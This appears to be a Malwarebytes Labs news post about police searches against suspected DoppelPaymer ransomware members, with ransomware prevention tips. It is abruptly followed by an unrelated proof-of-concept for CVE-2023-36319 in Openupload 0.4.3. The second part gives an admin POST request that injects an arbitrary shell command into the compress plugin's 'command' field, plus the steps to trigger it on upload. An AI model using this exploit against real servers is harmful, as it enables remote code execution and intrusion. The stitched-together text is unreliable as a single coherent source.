More DoppelPaymer ransomware group suspects have been identified by blockchain investigations and had search warrants executed against them.

The post DoppelPaymer ransomware group suspects identified appeared first on Malwarebytes Labs.

Posted: September 20, 2023 by

The German police in cooperation with the US Secret Service have executed search warrants against suspected members of the DoppelPaymer ransomware group in Germany and Ukraine.

In March of 2023, we reported how the German Regional Police and the Ukrainian National Police, with support from Europol, the Dutch Police, and the United States Federal Bureau of Investigations (FBI), apprehended two suspects and seized computer equipment.

Since then, cybercrime group specialists from the North Rhine-Westphalia State Criminal Police Office (LKA NRW), together with the Cybercrime Central and Contact Point (ZAC NRW), carried out another targeted strike against people associated with the criminal network.

Two men in particular became the focus during blockchain investigations by the LKA NRW and the US Secret Service. They are a 44-year-old Ukrainian who apparently held a key position within the organization and a 45-year-old man from southern Germany who is suspected of having received suspicious funds, possibly originating from ransomware attacks.

Cryptocurrency investigators use specialized strategies to track down criminals. The investigators use tools to collect evidence, trace funds through the blockchain, and try to determine who converted them into fiat currencies. Although cryptocurrency is anonymous, that doesn't mean it's untraceable. All the transactions are recorded on a public ledger, which provides a treasure trove of data to search, analyze, and categorize.

Over the last years, DoppelPaymer claimed responsibility for a high-profile ransomware attack on Kia Motors America. The gang was also responsible for a costly attack on the St. Lucie County sheriffs department, the Dutch Institute for Scientific Research (NWO), and the Illinois Attorney General's office. Other victims attacked by DoppelPaymer in the past include Compal, PEMEX (Petróleos Mexicanos), the City of Torrance in California, Newcastle University, Hall County in Georgia, Banijay Group SAS, and Bretagne Télécom.

Since March of 2021, DoppelPaymer has been missing from our monthly ransomware reviews, and the last known leak site address we had on record for them has been taken offline.

During their active period (2017 - 2021), more than 600 victims worldwide were extorted, some of them up to double-digit millions. The investigations by the German authorities, which have been ongoing since 2020, led to the international public search for Igor Olegovich Turashev and Igor Garshin in March 2023. Both of these suspects are currently on EUROPOL's "Most-Wanted" list. The suspicion against a third person could not be sufficiently substantiated during further investigations, so the public search was withdrawn.

**How to avoid ransomware**

*   **Block common forms of entry.** Create a plan for patching vulnerabilities in internet-facing systems quickly; and disable or harden remote access like RDP and VPNs.
*   **Prevent intrusions.** Stop threats early before they can even infiltrate or infect your endpoints. Use endpoint security software that can prevent exploits and malware used to deliver ransomware.
*   **Detect intrusions.** Make it harder for intruders to operate inside your organization by segmenting networks and assigning access rights prudently. Use EDR or MDR to detect unusual activity before an attack occurs.
*   **Stop malicious encryption.** Deploy Endpoint Detection and Response software like Malwarebytes EDR that uses multiple different detection techniques to identify ransomware, and ransomware rollback to restore damaged system files.
*   **Create offsite, offline backups.** Keep backups offsite and offline, beyond the reach of attackers. Test them regularly to make sure you can restore essential business functions swiftly.
*   **Don’t get attacked twice.** Once you've isolated the outbreak and stopped the first attack, you must remove every trace of the attackers, their malware, their tools, and their methods of entry, to avoid being attacked again.

Malwarebytes EDR and MDR removes all remnants of ransomware and prevents you from getting reinfected. Want to learn more about how we can help protect your business? Get a free trial below.

File Upload vulnerability in Openupload Stable v.0.4.3 allows a remote attacker to execute arbitrary code via the action parameter of the compress-inc.php file.

**CVE-2023-36319**

By modifying the compression plug-in command, the attacker can cause the server to execute arbitrary commands during the upload process.

**Only used for authorized security testing, please do not use it for illegal purposes. Violations have nothing to do with the author.**

**Affected version:**

openupload Stable version 0.4.3

**Step one**

Log in to the backend and click on the function: Administration ->Plugins ->compress

Add new “command” directive and save:

    POST /index.php HTTP/1.1
    Host: www.test.com

    action=adminpluginsoptions&step=4&id=compress&gid=admins&command=<YOUR CMD>&extension=&compression=
    

**Step two**

Enter the "File upload" function, upload a random file, and ensure "compress=0" in the parameters.
